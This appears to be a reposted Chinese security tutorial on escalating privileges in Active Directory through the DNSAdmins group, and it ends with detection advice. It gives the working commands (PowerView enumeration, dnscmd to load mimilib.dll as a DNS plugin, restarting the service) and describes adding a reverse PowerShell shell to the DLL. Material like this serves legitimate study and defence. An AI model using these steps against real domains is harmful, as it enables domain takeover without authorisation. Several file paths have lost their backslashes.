本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。
关于无问社区
无问社区致力于打造一个面向于网络安全从业人员的技术综合服务社区,可免费获取安全技术资料,社区内技术资料知识面覆盖全面,功能丰富。
特色功能:划词解析、调取同类技术资料、基于推荐算法,为每一位用户量身定制专属技术资料。
无问社区-官网:http://wwlib.cn
无问社区站内阅读链接:
http://wwlib.cn/index.php/artread/artid/5801.html
前言
本篇文章详细介绍了 AD 中的功能滥用,其中作为 DNSAdmins 组成员或对 DNS 服务器对象具有写入权限的用户可以在 DNS 服务器上加载具有 SYSTEM 权限的任意 DLL。由于许多企业设置也使用域控制器 (DC) 作为 DNS 服务器,因此这是一个非常有趣的发现。让我们试着看看这个功能的实际用法。
初始访问
这是本地环境设置情况。我们以普通域用户 (labuser) 的身份对实验室 AD 中的一个盒子进行初始访问。
让我们首先枚举属于 PowerView 的 DNSAdmins 组的用户。
PS C:> Get-NetGroupMember -GroupName "DNSAdmins"
在真正的红队或渗透测试中,下一步将针对buildadmin用户。我们可以使用PowerView中的InvokeUserHunter找到一个buildadmin令牌可用的域。
PS C:> Invoke-UserHunter -UserName buildadmin
为了继续讨论这个主题,让我们假设我们找到了一个域,其中 buildadmin 的票证可用,并且我们当前的用户 (labuser) 也具有本地管理员访问权限 (derivative admin)。因此,我们拥有 DNSAdmins 组成员用户的权限。
现在,可能有两种情况 :一种是 DC 也是 DNS 服务器,第二种是单独的服务器充当 DNS 服务器。
对于第一种情况,DNS服务器服务在DC上运行,我们可以简单地使用Shay在帖子中提到的dnscmd来加载dll。还有一个 PowerShell 模块 - dnsserver - 用于此,但它没有很好的文档。
更新:Benjamin 确认可以从 UNC 路径加载 DLL。我的 UNC 路径中的“C$”是问题所在!
我们可以使用以下命令来加载 DLL。路径 \ops-builddll 应可由 DC 读取:
PS C:> dnscmd ops_dc /config /serverlevelplugindll \ops-builddllmimilib.dll
对于调试(目标上需要管理员权限),可以使用以下命令检查是否已在目标上成功添加 DLL
PS C:> Get-ItemProperty HKLM:SYSTEMCurrentControlSetServicesDNSParameters -Name ServerLevelPluginDll
现在,由于我们的用户是 DNSAdmins 的一部分,我们可以重新启动 DNS 服务。虽然这不是默认配置,但对于此类用户来说,有权重新启动 DNS 服务是有意义的。
C:> sc \ops-dc stop dns
C:> sc \ops-dc start dns
那么成功执行上述命令后,我们会得到什么呢?Benjamin 迅速更新了 mimilib 以用于此攻击。在此攻击中使用的 mimilib 的更新版本会将所有 DNS 查询记录到 C:Windowssystem32kiwidns.log
我们可以对 kdns.c 进行更改以包含命令执行功能。我包含了一行简单的代码来执行使用 Nishang 的 Invoke-Encode 编码的反向 PowerShell shell。对 DNS 服务的每个查询都会执行有效负载,并且仍将创建和填充kiwidns.log。
在我们的listener中:
很好!域控制器上的 SYSTEM。我们拥有这个域名,可能还有整个森林:D
对于我们的第二种情况,如果 DNS 服务未在 DC 上运行,我们仍然可以在“仅”使用 DNSAdmins 权限并重新启动 DNS 服务的情况下在盒子上获得 SYSTEM 访问权限。
如何检测攻击?
为防止攻击,请审核 ACL 对 DNS 服务器对象的写入权限和 DNSAdmins 组的成员身份。
明显的指标,如DNS服务重新启动和几个日志条目:
DNS 服务器日志事件 ID 150 表示失败,770 表示成功
Microsoft-Windows-DNS-Server/审核日志事件 ID 541 表示成功和失败。
监视对 HKLM:
SYSTEMCurrentControlSetservicesDNSParametersServerLevelPluginDll
的更改也会有所帮助。
WriteProcessMemoryAPC - 使用 APC 调用将内存写入远程进程
WriteProcessMemoryAPC - 使用 APC 调用将内存写入远程进程
加入技术交流群
点“阅读原文”,访问无问社区
原文始发于微信公众号(白帽子社区团队):在Active Directory中滥用DNSAdmins进行提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论